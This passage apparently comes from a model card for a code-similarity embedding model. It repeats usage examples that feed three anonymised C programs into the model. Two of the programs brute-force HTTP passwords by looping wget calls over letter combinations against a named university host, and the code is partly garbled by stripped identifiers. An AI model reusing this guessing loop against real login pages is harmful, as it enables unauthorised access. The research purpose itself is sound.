%lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 